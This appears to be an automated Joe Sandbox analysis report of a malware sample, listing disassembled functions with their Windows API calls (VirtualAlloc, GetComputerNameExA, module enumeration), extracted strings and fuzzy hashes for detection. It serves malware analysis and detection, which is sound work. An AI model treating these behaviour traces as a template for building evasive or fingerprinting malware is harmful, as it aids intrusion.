RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction ID: 262629fdbb3efc19342746e0a643e000866adf4d73472e6c2c89fe251207d53e
Opcode Fuzzy Hash: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction Fuzzy Hash: 862278B46083418FE314CF15C89076BB7E6FFCA309F14892DE8959B291D778D945CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 01C1F5E6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01C1F60E
Module32First.KERNEL32(00000000,00000224), ref: 01C1F62E

Memory Dump Source

Source File: 00000000.00000002.1925141876.0000000001C1E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01C1E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c1e000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2d5f5c3a131c46b0f03b3b7d0900a64987c3787d60f953c4f2e0c15e6c5af9e3
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A3F0F631540711EFE7203BF9988DBAF76E8AF8A224F10092CE642D10D0CB70E9099A60

Uniqueness

Uniqueness Score: -1.00%

Function 0041AFE0 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

|)t+, xrefs: 0041AFFF
!, xrefs: 0041B013

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction ID: 0549958bf72732722078fd682deb9016a6df138242a2d297af9ac57ce41d61db
Opcode Fuzzy Hash: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction Fuzzy Hash: D341BB716183109BC718CF14C8A076BB7B0FF8A328F049A1DE8E19B380E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004162D6 Relevance: 1.7, APIs: 1, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction ID: 58d5ef61e29c700e7a5bf84aeee46845931b96e69ec54e1ba371a830b22f87e7
Opcode Fuzzy Hash: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction Fuzzy Hash: F371E0B1604B008FD724CF24D891753BBE2BF49314F198A6ED8AA8B792D778E845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435B8B Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435C27

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction ID: 1272006d1290d83cf13eff99d31ed8c686e055d99e4b0088207ea3cb61a97368
Opcode Fuzzy Hash: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction Fuzzy Hash: 141139705083019FD708CF54C46472BFBE1EBC5318F248A5DE8A91B291C379D959CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435C40 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043AB86,005C003F,00000006,?,?,00000018,8A858487,?,:RA), ref: 00435C6D

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: 57f1bbd75be791b51c1c69d73521a326315edc5ecdbfadca72035e30f952b94d
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 64E09275508602AFEA05DF45C14050EF7E2BFC8718F55988DE88473604C6B4AD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 00420C42 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c05f572b40e1ee658a53a265a9c69a1e9a99d1188c26c8d681712ba5683871
Instruction ID: 0646c17248e0037d8b2e2a871ccc27ad5747d79b115fced78c7331720078151d
Opcode Fuzzy Hash: 54c05f572b40e1ee658a53a265a9c69a1e9a99d1188c26c8d681712ba5683871
Instruction Fuzzy Hash: D0D167B8610B018FD324CF25D890B27B7E1FB4A304F958A2DD5968BB61D779F846CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00421370 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e9c5c54333908182192988b8035e1f2ee56699995fbf80ca82a327f642dc9f36
Instruction ID: b691efaaebe1fd9e0190dd32e1fb97d0ad8f24f092331a3f0970b38f0ebcf96e
Opcode Fuzzy Hash: e9c5c54333908182192988b8035e1f2ee56699995fbf80ca82a327f642dc9f36
Instruction Fuzzy Hash: 06D1C1B1A083219BD704CF18D89072BB7E1EFE5754F98496EE4858B391E739DD04CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00421090 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction ID: 024c6bc1a7c06842b7b2da60ebc75b4e81c0e709c88b8f194da14b798eec8cba
Opcode Fuzzy Hash: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction Fuzzy Hash: 13C145B4214B01CFD324CF25D894B27B7E1FB8A304F958A2DD5968BAA1D778F446CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0043B3B0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9053e46e64c6ba5c4e9c697e9df0e24e16c5a34e028f60723be9a8bd169cd24
Instruction ID: cfd6409ae6c1319e473ca82dbec1d2571da19b56d0cb4a7f1dcbce60b372dc38
Opcode Fuzzy Hash: a9053e46e64c6ba5c4e9c697e9df0e24e16c5a34e028f60723be9a8bd169cd24
Instruction Fuzzy Hash: B781DD72A043019BD714CF18C890B6BB3A1FF88318F19991DE9959B392D334EC15CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE80 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction ID: 7ec337f4810fed5a0fc0c42e7f6c195b542c32b12575270dc2a29337bbab3055
Opcode Fuzzy Hash: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction Fuzzy Hash: 76519BB52483019BE718CF14C890B6FB7F1EB89748F24981DE5E59B391D378E815CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00414FC0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ecb6c529fb0ff615f75d1ab2a34be5f3ef5ed8c6c6dd8dffbc67dba125c818
Instruction ID: b377b1b49f7a6f7790fde01fd5c2559d71787a1536a5725a15941c2adc1ac685
Opcode Fuzzy Hash: d8ecb6c529fb0ff615f75d1ab2a34be5f3ef5ed8c6c6dd8dffbc67dba125c818
Instruction Fuzzy Hash: 03410B71908704DBD311AFA4C8C07F7BBD4EBDA314F15456AD88987352E7799884C3DA

Uniqueness

Uniqueness Score: -1.00%

Function 00438879 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction ID: e35f2d1fee80e2f1db852cb22d8b1dde2544e3ec87f29d33cf979d87121eb95b
Opcode Fuzzy Hash: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction Fuzzy Hash: E64148B4210B008BD729CF15C890B27F7F2FF49315F589A1DD4968BA95CB78E4168B89

Uniqueness

Uniqueness Score: -1.00%

Function 00437998 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction ID: c35e6b3492bc7fc63c5e4d94200a91186c139317177be3ffd343f9b61624e557
Opcode Fuzzy Hash: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction Fuzzy Hash: 4E5156B0244B008FE3348F15C894B17B7F2EB49318F649A1DD4A29BB95C778F9058B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041210C Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction ID: ca850fd041728cb81bae71f088373bc471964c8ad35e0faae0c370fe9a2fbc17
Opcode Fuzzy Hash: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction Fuzzy Hash: 5831B271A00B018FC725CF35C8817A7B7E2FB89314F188A2ED1AAC3791E778E4818B45

Uniqueness

Uniqueness Score: -1.00%

Function 00410565 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction ID: ea6735051b580764b1b091c7d8751f59caf218b0077db567d50405ba04e5f90f
Opcode Fuzzy Hash: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction Fuzzy Hash: 8CE092397006004BC658AB30D89267B736397C6300F0C143CD447A33A2CE78B8818A49

Uniqueness

Uniqueness Score: -1.00%

Function 004286B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction ID: fb33a21c909e12981a6b8ef3dc275bf6d2761d5d6d7fe25341320a66258a9d40
Opcode Fuzzy Hash: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction Fuzzy Hash: 1BF0AC745093408FC324DF25C55575ABBF0FB8D304F81892DD59A8B291D778A904CF86

Uniqueness

Uniqueness Score: -1.00%

Function 01BB003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 01BB024D

Strings

cess, xrefs: 01BB018D
kernel32.dll, xrefs: 01BB008F, 01BB0095

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7ca38ed9f6f68c6fd3dd85930b5b95df25467b2aea0b62c18b30547c41feb2d0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: D0527974A01229DFDB64CF68C984BADBBB1BF09304F1481D9E94DAB751DB70AA84CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00427D72

Strings

3, xrefs: 00427C3B
;, xrefs: 00427C8B
:, xrefs: 00427C4B
6, xrefs: 00427C9B
%, xrefs: 00427C7B
!, xrefs: 00427C6B

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;
API String ID: 2525500382-3001093237
Opcode ID: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction ID: 1a39169d67010728743755bad08802f9e09bd0e4855d95ec92bb4768922a02a3
Opcode Fuzzy Hash: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction Fuzzy Hash: E641353010C7C58AD33ACA28C4997DFBFE25BD6314F084A5CE1E94A2C2C3B9464AC757

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E7CB
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E7FA

Strings

N, xrefs: 0041E828
mz, xrefs: 0041E820
JE, xrefs: 0041E72B

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction ID: d4eb9d248d4042ffda66fec7adb5be2df31ff8f7ed8dd41437f0ba620aed1879
Opcode Fuzzy Hash: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction Fuzzy Hash: BB5151B4108341AFD310CF02C895B4BBBE5EBC6754F108E1DF8A45B391D779D9858B96

Uniqueness

Uniqueness Score: -1.00%

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: ComputerName
String ID: <VXp
API String ID: 3545744682-3522128999
Opcode ID: ceb7df71cc771084bf12d3982bfc6851ab6c604ce51aaaf5532dc42f773fec6f
Instruction ID: 6299c964a3fce0bafc53ea5c8286f28257e6a63a241fb0224b927437de5add70
Opcode Fuzzy Hash: ceb7df71cc771084bf12d3982bfc6851ab6c604ce51aaaf5532dc42f773fec6f
Instruction Fuzzy Hash: DC32FE70204B918AE725CF34C8647E3BBE1EF57309F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: <VXp
API String ID: 0-3522128999
Opcode ID: aa472b181c25ef4c7ff1b41997715be3b6fc59769e2fc03377bffbd232bba362
Instruction ID: 39380498e3301fda940bb2c750f98dbafe3cac41602dcf564c309bbfc5931e86
Opcode Fuzzy Hash: aa472b181c25ef4c7ff1b41997715be3b6fc59769e2fc03377bffbd232bba362
Instruction Fuzzy Hash: C822FF70204B918AE725CF34C8647E3BBE1EF57305F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

zrHu, xrefs: 00425BB0
(VDn, xrefs: 00425BA6

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: (VDn$zrHu
API String ID: 0-2980758696
Opcode ID: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction ID: 6abb5f54dd02d2df8b74713aa4eba05006bae67069e8e73d66e3ac6d0c001b4f
Opcode Fuzzy Hash: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction Fuzzy Hash: 67F18A70604F808BE726CF35C4A47E7BBE1AF56304F88495EC4EA9B792C779A406CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0042E3EF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SelectObject.GDI32 ref: 0042E437
SelectObject.GDI32 ref: 0042E4B9

Strings

, xrefs: 0042E486

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 64c2dd33f56547eeba0a9756c00d89cd855ce22edeb25e2eb396533884e40186
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: 7D515CB8605B008FC364DF28D595A16BBF1FB89300F508A6DE98A8BB60D731F845CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408DF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00408E60

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 00408E26

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction ID: 2fd8b006e3b76f4afec7b1faa4642abc4b02275d11bc394f33c7f760dc90e6d3
Opcode Fuzzy Hash: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction Fuzzy Hash: 8BF06D7040C601CAD600BB61C705269B7A06F14328F20593FE8CAE12C0DF3C8486AADF

Uniqueness

Uniqueness Score: -1.00%

Function 00437E48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 00437FA3

Strings

gRI, xrefs: 00437F00

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: LibraryLoad
String ID: gRI
API String ID: 1029625771-894747221
Opcode ID: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction ID: 2a4b3bc33ec7130f718fa133b8f83357076008803d7a7ff669a68a4f6503176c
Opcode Fuzzy Hash: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction Fuzzy Hash: 734118B41047428BD328CF29C590B13FBB1BF49304F189A9DD4928FB56C334E58ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 004241EB Relevance: 3.6, APIs: 2, Instructions: 582COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: df82d550106a5831d78f12e269e3e0b91f16142a182fe8660f2375e7ed7413ff
Instruction ID: 15930a0e3456c2de96117bffaec9bf70862991a15f3db32a0408bad3ef46fb91
Opcode Fuzzy Hash: df82d550106a5831d78f12e269e3e0b91f16142a182fe8660f2375e7ed7413ff
Instruction Fuzzy Hash: DC22BD70204B918BE725CF34C8947E3BBE1AF56304F98495ED4EB9B782C779A406CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435AA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00435B47

Strings

f543, xrefs: 00435B08

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction ID: 06c2186eef59e94b595ca09588689556934a3fe7b1df8413d19f3e3cff029a90
Opcode Fuzzy Hash: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction Fuzzy Hash: 3D1148741083019FD708CF14C464B6BBBA2EBC5328F248A1CE8A50B791C77AD915CBC2

Uniqueness

